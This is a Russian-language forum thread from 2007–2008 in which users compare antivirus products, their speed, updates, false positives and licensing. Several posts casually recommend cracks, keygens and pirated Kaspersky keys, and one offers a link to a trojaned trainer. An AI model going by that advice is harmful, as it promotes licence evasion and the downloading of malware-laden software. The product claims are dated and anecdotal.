Вышел новый AVS. Версия 6.0.2.621. ключ и скачка тут, прямая ссылка на софтину вот.

Автор:	ghst [ 16:33 16.06.2007 ]
Заголовок сообщения:
юзаю Nod32 хорошая вещь систему не тормозит , есть бесплатные серверы для обновления , нод операвтивы мало занимает комп не тормозит и все вири определяет

Автор:	John_Doe [ 09:26 24.06.2007 ]
Заголовок сообщения:
ghst Сейчас пользуюсь Nod32. До этого drWeb. То что Нод все вири ловит, ты заблуждаешься. Нет такого антивируса, который все ловит. Скажу свои наблюдения, drWeb лучше в плане лечения.

Автор:	Galantic [ 12:01 11.07.2007 ]
Заголовок сообщения:
А как вам BitDefender Professional Plus 8.0.200 ru ? Помоему он лучше каспера, нортана и др антивирусов. Раскажите кто что знает про него.

Автор:	IdeaFix [ 12:19 11.07.2007 ]
Заголовок сообщения:
Galantic Судя по тестам в ловле блох он не лучше нортона с каспером. А что до незагружаемости компа, так он и тут не чемпион.

Автор:	Galantic [ 16:05 13.07.2007 ]
Заголовок сообщения:
тут люди говорят что седьмая версия касперского вышла. Это правда?

Автор:	IdeaFix [ 17:46 13.07.2007 ]
Заголовок сообщения:
Galantic Да, она вышла 7.07.07.

Автор:	NEW [ 19:14 13.07.2007 ]
Заголовок сообщения:
Может, кто-нибудь объективно подытожит предыдущие 6 страниц обсуждения по возможным вариантам антивирусов с комментариями (достоинства, недостатки)? Во всяком случае, анализ существующих бесплатных решений в сжатом варианте пригодился бы. На эту тему здесь не грех бы и статью написать (опубликовали бы с удовольствием).

Автор:	Dplay [ 20:16 13.07.2007 ]
Заголовок сообщения:
ArtLonger писал(а): Harley Avira AntiVir PersonalEdition Classic http://www.free-av.com/ Нетяжёлый, надёжный, бесплатный... хорошая штука, я такую на работе везде поставил, ресурсов мало есть, его вообще не ощущаешь. Единствено что у него мне не нравиться, он все кряки тоже рубит, потому и стоит на работе.

Автор:	NEW [ 13:41 14.07.2007 ]
Заголовок сообщения:
http://www.anti-malware.ru/index.phtml? ... tirootkits http://www.anti-malware.ru/index.phtml? ... _infection http://www.anti-malware.ru/index.phtml? ... detection1 http://www.anti-malware.ru/index.phtml? ... d=reaction http://www.anti-malware.ru/index.phtml? ... =reaction1

Автор:	Wivern [ 22:59 14.07.2007 ]
Заголовок сообщения:
Я вот тоже на работе использовал Avira Antivir... но потом он мне не угодил чем-то и я перешел на Avast пока всем устраивает А на ноут поставил, для тестирования, бесплатный антивирус забыл как называется, но он на базе Касперского 6...

Автор:	IdeaFix [ 18:40 16.07.2007 ]
Заголовок сообщения:
Wivern http://www.activevirusshield.com/ http://forum.radeon.ru/viewtopic.php?p=377328#p377328

Автор:	DikAll [ 19:12 23.07.2007 ]
Заголовок сообщения:
Всю жизнь был на симантике антивирусе. Потом Нод 32 — отличный атвивир, легкий и быстрый. А потом пришла Киска — сначала 6, потом 7. И вот уже долго я с ней. И изменять нехочется..

Автор:	EhumaN [ 23:04 24.07.2007 ]
Заголовок сообщения:
как антивирус использую сочетание AVZ 4.23 + NOD32 — авз для "быстрой" проверки на вирусы, а нод — для доскональной. уже полгода где-то живу без вирусов, а раньше был каспер(yuk), а потом веб 4.32а — после установки авз+нод обнаружилось небольшое количество троянов — терь им не доверяю

Автор:	Wivern [ 09:11 27.07.2007 ]
Заголовок сообщения:
Вопрос... чуть чуть не в тему но все таки... Есть антивирус freeware могу ли я его поставить на работе, на все ПК... это коммерческая цель это или нет?!

Автор:	ArtLonger [ 12:05 27.07.2007 ]
Заголовок сообщения:
Wivern Цитата: это коммерческая цель это или нет?! Да. В соглашении написано, для каких целей он бесплатен. Как правило, для дома и учебных заведений.

Автор:	IdeaFix [ 16:27 02.09.2007 ]
Заголовок сообщения:
AVS (kav6 от AOL) больше не доступен для загрузки. Теперь AOL предлагает msafee купить за 40 баксов, либо, если есть мыло на aol.com, получить даром. Грустно.

Автор:	max-sever [ 16:59 02.09.2007 ]
Заголовок сообщения:
IdeaFix Остался AVG, есть Free antivirus — avast! 4 Home Edition.

Автор:	denis!!! [ 23:23 03.09.2007 ]
Заголовок сообщения:
Всё ещё пользуюсь Avira AntiVir PE Classic. Сегодня(то есть уже вчера) собрал инфу о том как он обновляется и вроде как соорудил локальное зеркало обновлений(официально это только для платной версии оно бывает). Кому нужна методика создания зеркала (например, для офиса) могу описАть здесь (я отписАлся на ру-борде уже ). Нужен хттп сервер(апач или любой) и wget (методика довольно тупая подойдёт и для виндового сервака и для линукса и любого другого, если есть wget и какой-нибудь планировщик задач ). Клиентским машинам hosts изменять надо.

Автор:	IdeaFix [ 06:20 04.09.2007 ]
Заголовок сообщения:
denis!!! и max-sever У AVS были некоторые корпоративные фишки, как то перенос конфигурации (не через интерфейс как у каспера, а файлом), защита паролем и пр... что давало широкие возможности использования его в школах и универах...

Автор:	ArtLonger [ 20:27 02.10.2007 ]
Заголовок сообщения:
Avira AntiVir опять нагнул мою систему. Всё, пора искать альтернативу...

Автор:	IC9517 [ 23:13 22.11.2007 ]
Заголовок сообщения:
Антивирус НОД32, обновление за уже вчерашний день. Искал кряки на crackfind.com (но вопрос не об этом!), качал естессно с ними архивы. Проверял их сначала НОДом. В одном из них был файл keygen.exe после его запуска ничего не происходило, секунда задумчивости и все. НОД ничего не написал. Полная проверка тоже ничего не дает. Лишних процессов не видно. Это может быть вирус? В последнее время часто слышу, что НОД не очень-то работает

Автор:	ArtLonger [ 11:41 23.11.2007 ]
Заголовок сообщения:
IC9517 Скачайте CureIt и проверьте...

Автор:	LaFer [ 11:56 23.11.2007 ]
Заголовок сообщения:
NOD32 + Outpost Firewall 4.0 проблем нет , полет нормальный, около полугода. Пока лучше не вижу.

Автор:	IC9517 [ 00:09 24.11.2007 ]
Заголовок сообщения:
Цитата: Скачайте CureIt и проверьте... Тоже ничего не находится )))

Автор:	U-Nick [ 11:45 24.11.2007 ]
Заголовок сообщения:
Что-то и я, скорее всего, откажусь от Др.Веба ... хоть он и не грузит комп, и версии 4.4х легко прицепились к 4.32а , но вот сегодня внук позвонил и "обрадовал": у тя, грит, троян живет — АВАСТ аж на флешке его обнаружил. А др.Веб молчит, як рыба об лед. Есть вот НОД32 ( с какого-то недавнего журнала срисован) — наверно его буду юзать... Вопросец: как у него с обновлениями? Помногу ли надь скачивать и как часто?

Автор:	ArtLonger [ 17:57 24.11.2007 ]
Заголовок сообщения:
U-Nick Судя по впечатлениям на ру-борде, NOD32 таки хуже Drweb'а...

Автор:	IC9517 [ 19:24 24.11.2007 ]
Заголовок сообщения:
Цитата: Вопросец: как у него с обновлениями? Помногу ли надь скачивать и как часто? Базы целиком весят метров 8. Ежедневные обновления кб по 200-300. PS. По собственным впечатлениям: лучше всего Каспер! Но его хрен сейчас крякнешь

Автор:	U-Nick [ 23:32 24.11.2007 ]
Заголовок сообщения:
У мну Каспер-корпоратив на работе как запустит скан ВСЕГО в пнд (по расписанию) — можно идти курить, до того комп напрягается! И что противно — не остановишь . 80 Гиг (с архивами, инсталлами и протчим) ему надо сутки шерстить, а ведь щаз Пень-2.26 и 512М стоит, а не Целик-1000. Находит кое-что, якобы вирусовое, даже в из-журнальных сетапах — и в карантин. Вопросец-2: пошто Каспер каждый раз ВСЁ с начала проверяет, а не продолжает? Это ж странно...

Автор:	MBear [ 02:22 25.11.2007 ]
Заголовок сообщения:
U-Nick У мну Каспер-корпоратив на работе как запустит скан ВСЕГО в пнд (по расписанию) — можно идти курить какая версия? Вопросец-2: пошто Каспер каждый раз ВСЁ с начала проверяет, а не продолжает? Это ж странно... какая файловая система?

Автор:	U-Nick [ 08:11 26.11.2007 ]
Заголовок сообщения:
MBear Лицензионный Kasper for WorkSt. 5.0.712. Обновляется ежедневно с сервера. ОСь — лиц. ХР+СП2+новье. ФАТ — НТФС. Сегодня — ваще прикол: Каспер обнаружил трояна в calc.exe от 98SE (лежит на всяк случай в С:\ОТКАТ). А щаз — встал на проверке инсталлятора EF Commander из Хард-Софт 11_2006. Уже минут 20 топчется...

Автор:	Alex_good [ 12:41 26.11.2007 ]
Заголовок сообщения:
U-Nick ну.... не один он такой искатель. у меня аваст регулярно находил заразу в дистрибутивах прог для КПК... Пока я не внёс весь каталог в исключения

Автор:	MBear [ 13:49 26.11.2007 ]
Заголовок сообщения:
U-Nick незнаю есть ли оно в 5той версии, но в 6 и 7мой уже точно есть. Цитата: Kaspersky Internet Security не проверяет повторно файлы, которые не изменились с момента последней проверки. Это возможно благодаря применению новых технологий iChecker™ и iSwift™. Для реализации технологии используется база контрольных сумм объектов и хранение контрольных сумм файлов в дополнительных потоках NTFS.

Автор:	U-Nick [ 06:27 27.11.2007 ]
Заголовок сообщения:
MBear Каспера удалось "оживить" только перезагрузом. Даже админ в . С какой последней — с полной, али частичной? Юзаю, шо контора купила...

Автор:	MBear [ 13:48 27.11.2007 ]
Заголовок сообщения:
С какой последней — с полной, али частичной? точно незнаю. наверное имеется ввиду любая проверка.

Автор:	sss123sss [ 15:29 27.11.2007 ]
Заголовок сообщения:
MBear писал(а): U-Nick незнаю есть ли оно в 5той версии, но в 6 и 7мой уже точно есть. Цитата: Kaspersky Internet Security не проверяет повторно файлы, которые не изменились с момента последней проверки. Это возможно благодаря применению новых технологий iChecker™ и iSwift™. Для реализации технологии используется база контрольных сумм объектов и хранение контрольных сумм файлов в дополнительных потоках NTFS. Про каспер для вокстейшен версии 5. Ну да "гениальное" решение. А ещё есть такая особенность — информация о ключе пишется тудаже в потоки NTFS. Птица, которая это разрешает включена при инсталяции по умолчанию. В результате я как лицензированный пользователь попал в такой расклад: 1. Время на рабочей станции было сброшено на 1999 г. 2. Ключ каспер посчитал окончившимся, т. к. см. п1. 3. Никак обратно принимать ключ (хотя время уже исправили) каспер не хотел. 4. На вопрос в службу поддержки (что делать и кто виноват) ответили письмом с присоединенными ТРЕМЯ дополнительными ключами, абсолютно новыми. Ну а про каспер 6 Прикол — каспер при установке на 16 рабочих станций с 5 станций не обновлялся с расшаренной сетевой папки так как вназвании пути присутсвовало русское имя папки. При этом лицензионные "русские" операционки XP SP2 на всех станциях. Причина различия реакций неизвестна. Доступ к папке обновлений был у всех компов. При переименовании папки в латинское название все заработало. Неужели творение касперского можно назвать антивирусом учитывая его глючность, неудобство использования (отвратительный интерфейс был уже в врсии 5 в 6-ке все стало ещё неудобнее), громадный объем обновлений (1,5 мега в сутки это минимум, а у NOD 32 — размер обновлений около 0,180 мега), громадную нагрузку на систему, высокую цену продукта. Да пользователь раньше приостановит проверку или не сможет работать за компом, если идет проверка раз в неделю то этот день можно объявлять выходным:yes:. Короче — просто наболело, у касперского широкие "связи" по стране — "лапа" во многих организациях. Вот и покупают сей продукт в больших количествах. Как админ заявляю NOD 32 + Outpost супер. При ноде можно в игры играть, а система не будет "тормозить". Качество проверки выше всяких похвал (настраивать его надо нормально), цена низка (при наличии "правильных" мозгов и рук можно бесплатно пользоваться даже обновляясь с оф. сайтов).

Автор:	midinada [ 22:24 13.12.2007 ]
Заголовок сообщения:
NOD32-САМЫЙ ЛУЧШИЙ АНТИВИРУСНИК для домашнего пользования.Не тормозит систему,игры и т.д. Для рабочего компа Norton.

Автор:	Rucha [ 10:45 14.12.2007 ]
Заголовок сообщения:
midinada А в чем принципиальное отличие рабочего компа от домашнего? Почему для рабочего нортон, а для домашнего нод?

Автор:	Dollar59 [ 10:49 14.12.2007 ]
Заголовок сообщения:
Антивирус Касперского 7.0. Вроде мало грузит систему. Мне нравится.

Автор:	U-Nick [ 13:51 14.12.2007 ]
Заголовок сообщения:
sss123sss У нас сменили версию Каспера на 6.0.3.837 ... НО! "вумный" админ не проставил в настройках "проверять только новые и измененные файлы" !! Вот прям щаз Каспер мои 1.5 лимона файлов проверяет по второму кругу — групповая задачка, БЛИН!!!

Автор:	midinada [ 14:04 14.12.2007 ]
Заголовок сообщения:
NORTON-защищает компьютер от вирусов,шпионских программ,спама. Но сильно загружает систему компьютера,требует грамотной настройки квалифицированного специалиста.

Автор:	Alex_good [ 15:07 14.12.2007 ]
Заголовок сообщения:
midinada ну дык Нортон не один такой — KIS AutpostSecuritySuite AVG Internet Security припоминаются И все такие системы требуют для настройки грамотного специалита Тот же KIS, пожалуй, эффективнее будет

Автор:	Phobia [ 08:54 15.12.2007 ]
Заголовок сообщения:
Каспер 6 с пиратским ключом. Бесплатно и сердито... Жаль под висту не идёт, а в 7 уже лазейку с ключиком прикрыли.

Автор:	dmitro_379 [ 17:55 17.12.2007 ]
Заголовок сообщения:
Пользовался KAV6 точнее 6.0.1.621 никаких тормозов лишь загрузка чуть дольше чем обычно.Длина обновлений недельных обновлений достигала 800КБ а не 1.5МБ, перешел на DrWeb 4.44 т.к. 7-я версия сильно тормозит даже при отключении ФМ, если отключить эвристик то норма но зачем мне урезанная прога.Я б с удовольствием остался на 6-е но продлением лицензии в данном случае является переход на 7 и никаких исключений.

Автор:	VladKS [ 18:12 17.12.2007 ]
Заголовок сообщения:
NOD32 — пока не жалуюсь!

Автор:	IdeaFix [ 07:37 27.12.2007 ]
Заголовок сообщения:
Есть у меня компьютер с windows, который я по-своему люблю. На нём есть легальный Kav WinWS 5.5 (какой дали на работе, тем и пользуюсь). Каспер достаточно чётко бил последний из популярных на флешках \Resycled\srs.exe, изредка сообщал об хакерских атаках на iis unicode bug, о каких-ьто атаках на mssql/mysql... ну вобщем, давал о себе знать и вроде всё отлично работало... и вот вчера полез я на асталависту (ну типа посмотреть порно в контекстной рекламе) и вроде нашёл все кря... всё порно в банерах и уже ушёл с сайта.. вобщем, утром что-то подсказывало мне о наличии троянской лошадки в системе. В списке процессов были такие милые вещи как WindowsUpdate32.exe, AutoUpdate32.exe, чёта ещё... ну и браузер как0-то странно себя вёл. Прогоняю %WINDIR% каспером — всё нормально... а осадочек остаётся. Установил свеженький (кстати, каспер обновлён) AVG 7.5 (версия 516a1225), обновил... и эта зараза тут же говорит мне Trojan horse Genetic2.VOG в файле %WINDIR%\AutoUpdateWin31.dll (позднее в карантине оказались 4 файла). Прямо обидно стало за каспера и радостно за чехов (авг-то бесплатный, такчто и за себя радостно!), и я думаю седьмой, или даже шестой каспер нашли бы эту заразу и монитором (5.5 не нашёл даже сканером), но... типа предупреждать же надо что 5.5. хоть и лицензионен, хоть и обновляется, но не актуален. Это не камень в огород каспера, а просто... просто случай из жизни. Да, кстати, пока каспер пытался онлайн проверить мои активикс контролы в браузере, авг успел установиться (антивирус, антиспайварь, антируткит, всё бесплатное), посканить критические области и прибить гадов... а онлайн каспер обновляется на 68 процентах. Хотел было посувать в онлайн файловый сканер файлики с вирусами, да АВГ слишком уж строптив. Мало того что он мягко говоря имеет нелогичный (имхо) интерфейс, так ещё и выключить монитор у него ой как сложно Вроде и нажал Deactivate, а он всёравно вирусы ищет...

Автор:	IdeaFix [ 08:38 27.12.2007 ]
Заголовок сообщения:
Как оказалось, ночи троянцу хватило чтоб утянуть коекакие пароли, пришлось срочно всё отбивать назад и менять те, которые не утянулись... С одной стороны обидно иметь легальную ось с легальным антивирусом и так влететь... чтоб ещё раз из-под винды в интернет ходил... но с другой стороны... Вот нашёл AVG вирус, дал ему кличку Trojan horse Generic2.VOG или Trojan horse Generic2.VOI или Trojan horse Downloader.Generic5.WLF и всё. Ни тебе ссылок на кирус инцыклапедию, ни возможных последствий от ночёвки с сабжем... ни-че-го. На сайте конечно есть вирус инцыклапедия, только вот на generic2 есть хоть какое-то описание (почитайте кому интересно), а на даунлоадера ничего Конечно, требовать от бесплатного продукта чего-то такого — просто неприлично, но я повторно сходил на асталависту за серий... для просмотра контекстной рекламы и устроил себе понофункциональный триал нормальной версии AVG за почти 100 баксов. Так же там всё... тоесть, этот продукт я не куплю. Буду юзать бесплатный... только его ыб ещё отучить видеть врага в каждом кряке...

Автор:	Alex_good [ 12:12 27.12.2007 ]
Заголовок сообщения:
IdeaFix насколько полный AVG напрягает систему? Я вот пользовался AVG free и avast home, принципиальной разницы не заметил... Аваст оказался чем-то ближе, потому остался.

Автор:	msa30 [ 13:07 27.12.2007 ]
Заголовок сообщения:
Всю жизнь пользовался Каспером и не пожалел ни разу за два года ни одного косяка, говорят напрягает систему, но на своей конфиге не чувствую напряга. Пару месяцев назад по рекомендации знакомых техноманьяков пересел на Nod32 так, чисто для разнообразия, в диспетчере теперь оператива разгрузилась почти на 50%. Юзаю Nod в тихом режиме, в отличии от Каспера не задаёт лишних вопросов не ругается на кряки, просто тихо и незаметно выполняет свою функцию.....,это приятно. Недавно как всегда лазил по всем известному сайту www.3dnews.ru на котором очень часто бываю, Каспер никогда не ловил там вирусов, а Nod32 вот поймал и говорит "была предотвращена попытка типа залесть в вашу систему троянской программы" казнить её иль помиловать ??? Казнить говорю конечно! Вот собственно и всё что могу сказать, пока доволен!

Автор:	IdeaFix [ 13:54 27.12.2007 ]
Заголовок сообщения:
Alex_good Да вапще оно систему не грузит... Щас оставил avg в режиме проверки. авг антиспайварь в режиме проверки и kav onlineопять же в режиме проверки... ичто Вы думаете? 60% проца в пике.. msa30 т. что всякие ноды гасят куки через одну повышает их результативность, но не делает им чести...

Автор:	Alex_good [ 13:19 18.01.2008 ]
Заголовок сообщения:
Вот опять Аваст (точнее чехи) тормозит... Вирусную гадость, которую уже три дня знают и Касперский, и доктовWeb, которую я им отослал два дня назад — всё ещё в базы не внесли... Купил KAV 7.0 на год, а там — посмотрим Сейчас сканирует мои диски (все файлы, эвристика включена) — ничё так. Вполне щадяще грузит

Автор:	Michael [ 13:46 18.01.2008 ]
Заголовок сообщения:
Перепробовал много антивирусов, остановился на Dr.Web. Самый удобный на мой взгляд: висит себе в трее и есть не просит, не надо заморачиваться с обновлениями(сам обновляется автоматом), занимает всего 7 метров оперативы. Как то ставил NOD 32, так он меня вообще удивил медленным сканированием жестких дисков, "жрет" памяти больше, чем доктор, около 50 Mb. Последняя версия Касперского то же определенно удалась — массивная вирусная база, быстрота сканирования, эвристический анализ, но.... тормазит он систему, хотя слава богу не так, как 5-ая версия, но все же. Мой выбор — Dr.Web v.4.44, она и под Висту работает!

Автор:	Alex_good [ 06:36 21.01.2008 ]
Заголовок сообщения:
Пиша и что, на конфиге из info торможение каспером 7 так заметно? У меня на ноуте (Travelmate из info) вполне можно работать даже при сканировании дисков. А монитор и вовсе не замечаю...

Автор:	Alessio [ 08:06 22.01.2008 ]
Заголовок сообщения:
У меня на ноуте установлены NOD32 и Dr.Web 4.44 — прекрасно уживаются друг с другом и практически незаметно мониторят систему

Автор:	JAX [ 17:39 23.02.2008 ]
Заголовок сообщения:
Avast 4.7.1098 год проблем не знаю,а у знакомых по сети NOD32 пропустил медальку на рабочий стол

Автор:	Evilshik [ 06:54 18.03.2008 ]
Заголовок сообщения:
У меня проблема. Был куплен лицензионый kav7.0.0.125ru.exe Активировался. Но вот незадача! Он пишет, что обновляется, трафик ест. После обновления пишет, что надо перезагрузиться. А вот количество ативирусных записей остаётся. Потом был скачан с сайта Каспера kav7.0.1.321ru.exe Проблема такая же! Может кто слышал? В чём дело-то!

Автор:	sergey2400 [ 18:03 22.03.2008 ]
Заголовок сообщения:
Evilshik А в лабораторию Касперского не пробовали звонить? Думаю, там лучше всех подскажут. Техподдержка круглосуточная, но если самого Евгения захотите застать, то лучше днём звонить.

Автор:	Evilshik [ 06:48 27.03.2008 ]
Заголовок сообщения:
sergey2400 Если бы это ещё девушке можно было объяснить...! Это проблема такая у неё. Может кто сталкивался? Может из-за пиратской винды?

Автор:	-=BBC=- [ 12:29 29.03.2008 ]
Заголовок сообщения:
midinada писал(а): NOD32-САМЫЙ ЛУЧШИЙ АНТИВИРУСНИК для домашнего пользования.Не тормозит систему,игры и т.д. Для рабочего компа Norton. За много лет перепробовал наверное все бесплатные NODы и Avastы и другие — да тормозные ВСЕ!!! Обычно NORTON всё же больше всех жил у меня, НО, пока не купил 360-й! Это чудо просто какой-то для олухов. Вообщем поставил дома BitDefender — где-то с месяц уже, пока нравится больше всех. Но как он для админов сетевых — не знаю. А для дома — в самый раз.

Автор:	InfIum [ 12:10 01.04.2008 ]
Заголовок сообщения:
Здравствуйте. Подскажите пожалуйста антивирус под Vista... не считая Касперского. Avast совместим с этой OC ?

Автор:	Жёсткий_Чебур [ 13:11 01.04.2008 ]
Заголовок сообщения:
InfIum ДА, совместим. Давно им пользуюсь на обеих системах

Автор:	InfIum [ 13:13 01.04.2008 ]
Заголовок сообщения:
4e6ypek спасибо.

Автор:	Dollar59 [ 09:20 13.05.2008 ]
Заголовок сообщения:
Антивирус Касперского 7.0 и о вирусах можно забыть. + полная совместимость с Вистой. (Меня АВП не подводил с 2004 года)

Автор:	sid444 [ 10:35 13.05.2008 ]
Заголовок сообщения:
Цитата: Антивирус Касперского 7.0 и о вирусах можно забыть. Это точно потому что он их в упор не видит. Всем любителям Касперского рекомендую установить 8-ю бета версию это единственный антивирус в мире способный найти тонны несущесвуещих вирусов. Антивирус Касперского как не прискорбно превратился в позор антивирусов, и в последние время создалось впечетление что он вообще не выходит из стадии Бета.

Автор:	Michael [ 13:45 13.05.2008 ]
Заголовок сообщения:
Dollar59 Цитата: Антивирус Касперского 7.0 и о вирусах можно забыть. + полная совместимость с Вистой. Голословно утверждаете, товарищ. Меня Dr.Web тоже довольно долго не подводил, хотя часто в обзорах писали, что он пропускает вирусы. Сейчас стоит NOD32, версия 2.7, самообновляется и тоже в принципе не подводит. Да и все сейчас антивирусы имеют полную совместимость с Вистой, так что можно это уже и опускать.

Автор:	VladKS [ 14:29 13.05.2008 ]
Заголовок сообщения:
вышел eset nod32 v3.xxx — кто чаво скажет?

Автор:	Rucha [ 14:57 13.05.2008 ]
Заголовок сообщения:
VladKS Вполне на уровне. По-крайней мере ни чем не хуже 2.х.

Автор:	Phobia [ 15:06 13.05.2008 ]
Заголовок сообщения:
sid444, ну и нафига нужен антивирус находяший тонный несуществующих вирусов? У меня с месяц стоял бесплатный аваст, г. редкое, я вам скажу. Жрёт дофига памяти и слишком параноидален (находит вирусы на пустом месте), скан нельзя запустить наночь и забыть, ибо когда он чего-то найдёт прекращает скан, пока не получит ответ что же делать с "вирусом". ТАк же как по мне очень неудобный интерфейс. Даёт скачивать вредоносные файлы, и кричит лишь тогда, когда его натравишь на этот файл (каспер находит его при заходе в папке где сие лежит! Я уж не говорю про то, что он не дал бы такое сохранить на диск впринцепе).

Автор:	Zhenya83 [ 16:11 13.05.2008 ]
Заголовок сообщения:
VladKS писал(а): вышел eset nod32 v3.xxx — кто чаво скажет? Незнаю я попробовал NOD32 v3.xxx самую последнюю версию мне не понравилось как он почту долго тянет вирусы пропускает я проверял после того как я поседел на нем неделю и потом запустил Boot CD Bitdefender 2008 и кучу вирусов удалил нортон BootCD 2007 тоже самое количество определил..... потому я и остался дальше на Нортоне Всеравно сколка не крути ну 100% защитника от Вирусов не будет :D потому нада брать тот который хоть чутьчуть и более имение их ловит хотябы 85% и то —+ 1% Мой совет не забывайте себе скачивать BootCD антивирусов что бы проверять компьютер если вдруг ты заподозрил что на нём есть вирус и проверить не помешает :shuffle:

Автор:

sid444 [ 16:14 13.05.2008 ]

Заголовок сообщения:

VladKS

Цитата:
вышел eset nod32 v3.xxx — кто чаво скажет?

NOD32 v3.xxx В отличии от 2.х версии сканирует по умолчанию архивы на вирусы.(при попытке сохранить инфицированый архив или открыть сразу поевляется окно тревоги, 2.х версия находила вирусы в архиве только при распоковке или проверке в ручную)

Phobia

Цитата:
(каспер находит его при заходе в папке где сие лежит! Я уж не говорю про то, что он не дал бы такое сохранить на диск впринцепе

После моей последней попытке пользоватся каспером (kav7.0.1.325ru) в системе осталось больше 30-ти вирусов и это при том что проводил полную проверку жёстких дисков.
И натравливал на инфицированые архивы — резултат 0/0% и к тому же всу систему в BSOD с лехкостью погружает и умудряется найти вирусы там где их нет.
В вобщем после двух недель использовани (этого шедевра касперского) удалил от греха подальше.

Сейча у меня на OC XP установлен NOD32 2.70.39+Dr.Web 4.44+ZoneAlarm
на ОС Vista Norton Internet Security 2007+NOD32 3.0.650ru
В добавок иногда проверяю Lavasoft Ad-Aware (он умеит находить и вирусы и троянов + в добавак умеит находить всякую нечисть в реестре) и пока всё чисто.

От себя — Идеальных антивирусов не существует! Поэтому рекомендую инсталлировать в качестве Второго антивируса NOD32 2.70.39 (при условии что в NOD32 ,будут отключены все сканеры кроме AMON резидентного сканера,(Чтобы вирусы находил, больше нам от него не чего не требуется) не регистрируйте IMON-интернет монитор в системе иначе возможны Конфликты.
— Делать это лучше сразу при установки NOD32 2.70.39-В режиме В режиме Эксперт (Полностью настраиваемая установка) После перезагрузки придется в ручную отключить модуль DMON.
А так-же не забудьте включить поиск Потенциально опасного ПО в NOD32 (по умолчанию отклучено)

Автор:	Phobia [ 16:51 13.05.2008 ]
Заголовок сообщения:
sid444, ну у меня с каспером проблем никаких. А вот интересно, вы уверены что те вирусы, которые остались после каспера действительно вирусы? Просто если мой комп просканить параноидальным авастом он умудрится их найти, причём в самых неожиданных местах. НЕ ВЕРЮ а ещё пользуюсь иногда для скана против троянов и прочей шпионской гадости на всякий случай Spy Emergency 2008

Автор:	sid444 [ 17:09 13.05.2008 ]
Заголовок сообщения:
Phobia Цитата: А вот интересно, вы уверены что те вирусы, которые остались после каспера действительно вирусы? Downloader, IRC Troian, Backdoor.Troian, Troian Horse, Troian.Packed.25 Не очень похоже на потенциально опасное ПО правда? Нашол их Norton Internet Security 2007 v 10.2.0.30. Если хотите в личку могу дать ссылку на игровой трейнер в нём Троян-кейлогер (после его запуска системная папка виндовс пополнится двумя файлами) каспер его раньше не видел, как сейчас обстоят дела с этим трояном незнаю.

Автор:	bartx2 [ 17:32 13.05.2008 ]
Заголовок сообщения:
sid444 Нортон хорошая вешь сам все время использовыал и использую и даже 2 год лицуху беру шас Norton Internet Security 2008 v15.(и че то там еше)

Автор:	tsolomon [ 21:24 13.05.2008 ]
Заголовок сообщения:
у меня стоит нортон, впринципе нравится, быстрее чем АВП, а вот то что он любит часто ругаться на трейнеры, троянами да кейлогермаи зачастую обзывает их обзывает а трафик и другие процессы мониторить, у меня Оутпост стоит. кому интересно, кто что знает вот ссылка http://www.virustotal.com/ загружаем файл и он провеятся десятками популярными антивирусами...

Автор:	sid444 [ 21:39 13.05.2008 ]
Заголовок сообщения:
tsolomon Спасибо за ссылку. Вот результат проверки игрового трейнера — о котором я писал выше. http://www.virustotal.com/ru/analisis/0 ... 5c6872205c Для ленывых повторю (после запуска этого трейнера появится сообщение что трейнер неисправен а системная папка виндовс пополнится двумя файлами — вот такой интересный трейнер)

Автор:	Alessio [ 11:38 14.05.2008 ]
Заголовок сообщения:
sid444 +1 В вобщем после двух недель использовани (этого шедевра касперского) удалил от греха подальше. Сейча у меня на OC XP установлен NOD32 2.70.39+Dr.Web 4.44 — у мну этот тандем уже полгода пашет(в начале стр. писал об ентом)

Автор:	matveycin [ 21:02 27.05.2008 ]
Заголовок сообщения:
Приветствую Вас! У меня AVK 7.0.1.325 лицензионный полгода как установлен — проблем нет. Гонял его и на XP SP2 и на Vista HP SP1 — не подводит. Думаю на слабых машинах и на ноутах стандартных смысла ставить его нет, всётаки подгружает он немного. А самым надежным антивирем считаю старый HDD ,где-нибудь на полке (естественно с копией всех нужностей)!

Автор:	commandor2006 [ 11:50 16.06.2008 ]
Заголовок сообщения:
Мужики, помогите решить проблему. Настроил спутниковый инет через VPN, но KAV 6.0 заблокировал доступ и инет. Стоит отключить касперского, всё нормально, как только влючаю: "Не возможно отобразить страницу" Как мне посоветовали, нужно разрешить протоколы pptp & gre, но где и как — х.з. Если кто в курсах, откликнитесь.

Автор:	lionFROMkamcha [ 06:01 28.07.2008 ]
Заголовок сообщения:
to Commandor2006 Что ты именно установил??? KIS 7.0 или KAV 7.0....потому что я только с KIS7.0 работал и там в настройках сетевого экрана, находишь список приложений для которых созданы правила, ищешь приложение(только не браузер) через которые ты подключаешься к инету и для это приложения разрешаешь всё,там есть кнопка "шаблоны"

Автор:	Hell-Fosa [ 06:05 28.07.2008 ]
Заголовок сообщения:
уже полгода юзаю Avira Personal бесплатно, эффективно, "легко и не принужденно" Виста СП1

Автор:	lionFROMkamcha [ 12:35 28.07.2008 ]
Заголовок сообщения:
Сегодня начитался про антивирусов инфы...кароче понял...что нифига не понял:)))кто считает KIS7.0 это круто, кто говорит что НОД форевер...Я вообще сижу в сети 600компов, так что мне полюбому что нить надо с антихакером....KISом 6,0 пользовался,сейчас KIS7.0 поставил,взял пробный ключ на месяц, вот думаю купить лицензию, начитался инфы,начинаю задумываться, а может брать НОД смарт секьюрити???

Автор:	RinoReys [ 12:54 28.07.2008 ]
Заголовок сообщения:
lionFROMkamcha Недавно "артель", в которой я работаю, решила купить антивирус "на всех". Решили взять и потестить. В результате победил NOD32. Скорость работы и количество обноруженных вирусов лучше чем у KAV 6.0, AVG

Автор:	AFCK [ 14:07 28.07.2008 ]
Заголовок сообщения:
lionFROMkamcha НОД смарт секьюрити

Автор:	Hell-Fosa [ 14:24 28.07.2008 ]
Заголовок сообщения:
а как дела у нода с внутренней защитой своих компонентов? да, неспорю он защищает отлично, заразу не пускает, но если уже пустил то ему как правило хана настает как и всей системе. на мой взгляд это ед недостаток нода

Автор:	Alessio [ 05:49 29.07.2008 ]
Заголовок сообщения:
Hell-Fosa но если уже пустил то ему как правило хана настает как и всей системе — +1 С последним Др. Вебом(4.44.5.3ххх) такого ещё не было, тьфу-тьфу

Автор:	lionFROMkamcha [ 09:40 29.07.2008 ]
Заголовок сообщения:
Др веб вообще помойму стоит на заднем плане в отличии от других:) Жду КИС 8,0 куплю лицензию и буду радоваться жизни наверное... Еще есть вариант поставить Vista SP1 и купить простой KAV 8.0, он стоит на 40% дешевле чем КИС и продление ключа у него получается на 80% дешевле КИСа...но будем ждать КИС 8,0

Автор:	Alessio [ 05:58 30.07.2008 ]
Заголовок сообщения:
